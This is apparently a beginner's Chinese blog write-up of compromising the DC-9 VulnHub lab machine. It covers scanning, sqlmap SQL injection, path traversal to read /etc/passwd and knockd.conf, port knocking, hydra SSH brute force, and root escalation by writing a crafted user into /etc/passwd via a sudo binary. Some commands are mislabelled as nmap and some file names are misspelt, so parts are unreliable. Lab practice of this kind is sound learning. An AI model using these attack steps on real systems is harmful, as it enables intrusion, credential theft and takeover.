【DC-9】靶机攻占(自留勿入)

准备环境

准备环境:靶机DC-9,在vulnhub上下载。下载后配置网络连接方式为nat,这样可以分配ip地址在同一网段中,便于arp-scan -l侦测到。
攻击机kali-2024,感谢kali(。)
本来用的ubuntu但是网卡有问题待解决。。。

基本思路

渗透前的基本准备:
1\ ifconfig看ip地址
2\arp-scan -l 看同网段的主机
3\找到之后用nmap进行扫描 主要目的是扫描出开放的端口。好像几个sS,sV,sT什么的都行。-A是为了显示版本号。
于是nmap -sS -p- ip地址。
得到了开放的端口:80 http
过滤后的端口:22 ssh
4\于是针对端口进行目录dirsearch。其中e*表示扩展的服务也搜寻,-x 403表示403的就不用找了,–random-agent可加可不加,没有影响
dirsearch -u (ip地址) e * -x 403 --random-agent
找到了可以进入的网址。
5\进入网址。发现了可以进行sql语句注入的页面。也就是results.php界面后的search.php界面。随便用万能语句试一下就知道是能进行sql注入的(?其实我也不知道为什么万能语句试过就能确定它能进行sql注入。)
于是进行sqlmap -u ip地址 --level=5 --risk=3 --batch --method=‘POST’ --data=‘search=1’ --current-db
–current-db和–dbs都可以,–current-db是爆当前数据库,–dbs是爆全部数据库,再进行选择。

这里是我第一个苦恼的地方,因为我根本不知道为什么sql注入的注入点是search=1’,我完全不理解为什么啊!!!
然后method=‘POST’,虽然我知道POST是什么意思,但是我不知道是从哪里看出来这是POST进行注入的!!!(虽然可以理解)
我觉得这些如果在考试时一个个尝试的话会很费神,我不理解。

不管怎么说,按照这个注入点,确实能够进行爆破。于是进行爆破并且成功,得到了当前的-current-db的值为Staff
(这个staff只在后面的knock里面用到了,是用于进入本来是过滤模式的22 ssh远程登录端口的。其实很重要,因为不能开放这个端口的话,我们即使能够拿到远程登录的密码也没有用)

–dbs则得到了User数据库,继续进行爆破会得到用户名和密码。
将这些用户名和密码用cat xx.csv > ~/Desktop/xx.txt的格式存储到password.txt和username.txt中,在ssh登录爆破中很重要。

现在回到之前的那个问题上:我们如何才能够开启被过滤的ssh远程登录。答案是要进行knock。(第一个发现这个的人简直是个天才。。。)用netcat -z 进行knock。
nc -z ip地址 7469,8475,9842。
这是因为我们得到的/etc/knockd.cof文件中的Openssl字段中给出了这三个需要敲击的端口。

现在来到了最重要的那个问题!!!!我们是如何发现这个knockd.cof文件的。看了很多教程都云里雾里的,burpsuite的抓包,导入字典之后,按照网上的payload构造 …/…/…/…/etc/pwd这个路径,然后开始攻击,发现都是响应都是200……然后要点到file=…/…/…/…/etc/pwd才能找到爆破出来的网页。而且其实这个网页没有任何用处,要再用/etc/knockd.cof才能挖出真正的knock端口在哪里。

{看了一个教程说是:(如果不知道,服务器中的文件在哪,则使用…/…/…/…/…/)(可以多加几个…/)
然后再重新从一个文件,一步一步进行查看.
?filename=…/…/…/…/…/etc/passwd}
还有一个教程说是:在apache中,文件本来就是被储存在/var/www/html中的,然后按照这个目录往前多cd… 几次https://blog.csdn.net/qq_34028816/article/details/124572992)总而言之我不太明白。因为这样一来的话再burp suite里面要测试的东西太多了,何年何月才能攻击成功呢?

我觉得比较合理的是一开始就知道了file,filename这个payload,然后测试加的是…/…/ ……?

不理解。

其它知识点

接下来是我能够理解的部分,也是比较简单的操作部分

首先,使用nmap爆破数据库

代码如下:

爆破当前库名:
nmap -u ip地址 --level=5 --risk=3 --batch  --method='POST' --data='爆破点'  -dbs --current-db
爆破库中表:
nmap -u ip地址 --level=5 --risk=3 --batch --method='POST' --data='爆破点' -D '数据库名' -tables
爆破表中的列名:
nmap -u ip地址 --level=5 --risk=3 --batch --method='POST' --data='爆破点' -D'数据库名' -T'表名' -columns
得到列结构后,爆出字段
nmap -u ip地址 --level=5 --risk=3 --batch --method='POST' --data='爆破点' -D'数据库名' -T'表名' -C'列名1,列名2,列名3'

by the way其实好像可以一键全部爆破:

nmap -u ip地址 --level=5 --risk=3 --batch --method='POST' --data='爆破点' -D '数据库名' -dump

会显示出一整个表结构!!简单快捷多了!。。。。所以上面也是可以直接爆破的我感觉,一会儿试一下。。。

把dump出来的数据cat到桌面上,保存为passwd.txt和username.txt,后面要用。

其次,使用hydra进行 password和用户名的匹配爆破,找到可以进行远程登录的用户名及密码

hydra -L username.txt -P 'passwd.txt' ip地址 ssh

会爆破出一些可用于ssh登录的用户。
登录之后其实发现不了什么。
这里又又出现了一个我觉得很离奇的东西!大概是用下列命令,查询janitor用户里的文件

ls -la
cd .s*
cat *

找到了那个重要的clue线索。
在test里面有线索。

而test.py文件又要用find去寻找。

find / -name test.py 2>/dev/null

其中2>/dev/null 代表忽略掉错误提示信息。
找到了disct文件中的test.py文件后,cat文件,发现执行文件可以做到把参数1传入参数2中,这就为我们向/tmp文件中写入root权限的用户提供了基石。

我们用hydra爆破两遍了之后才得到的这个test.py文件。
接下来要做的就是用openssl命令再创建一个用户名与密码。
命令为

openssl passwd -1 -salt <用户名> <密码> 

为什么是-1 -salt我不知道。

于是得到一串用户名及密码的加密字符(hash密码)将其拷贝到temp文件中去。

echo '用户名:得到的$1$xxxx/xx形式的加密字符串:0:0::/root:/bin/bash' > /tmp/用户名

#注意一定要传入/tmp文件夹中去,这很重要!

执行test,

cd /opt/devstuff/dist/test
sudo ./test /tmp/用户名 /etc/passwd

就可以将我们创建出来的文件参数传入到/etc/passwd中去啦!!!
我们cat /etc/passwd文件,(其实也就是本来就是网页上显示的爆破出来的那个文件),可以看到一连串的用户数据,最后一列是我们创建出来的root权限用户!!

然后再ssh连接就可以登录啦!我们获得了root权限。
在/root根目录中ls 就找到了flag.txt文件。

就成功啦^^!

其余必须掌握的知识点

nmap -sS -p-   ip地址
dirsearch -u (ip地址)  e * -x 403  --random-agent
nc -z ip地址 7469,8475,9842

晚上再把具体流程中的所有图片补一下。
然后再尝试一下其它靶机,看看能不能掌握到一些共通点。
这是我学习的第一个靶机^^

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值